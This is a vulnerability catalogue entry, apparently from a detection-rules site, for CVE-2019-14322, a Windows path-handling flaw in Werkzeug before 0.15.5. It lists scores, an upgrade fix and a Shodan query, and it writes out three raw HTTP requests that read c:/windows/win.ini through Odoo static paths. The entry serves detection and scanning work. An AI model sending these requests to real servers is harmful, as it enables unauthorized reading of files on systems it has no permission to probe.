🔙 목록으로 돌아가기

CVE-2019-14322: Pallets Werkzeug <0.15.5 - Local File Inclusion

TitlePallets Werkzeug <0.15.5 - Local File Inclusion
Authormadrobot
SeverityHigh
ImpactThe LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
RemediationUpgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability.
CVSS Score7.5
EPSS Score0.90059
CVE IDCVE-2019-14322
CWE IDCWE-22
Shodan Querycpe:"cpe:2.3:o:microsoft:windows"
Tags cve cve2019 lfi odoo packetstorm palletsprojects microsoft vuln

🔍 Vulnerability Description

Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames.

🌐 HTTP Request

GET /base_import/static/c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /web/static/c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /base/static/c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14322.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-14322.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A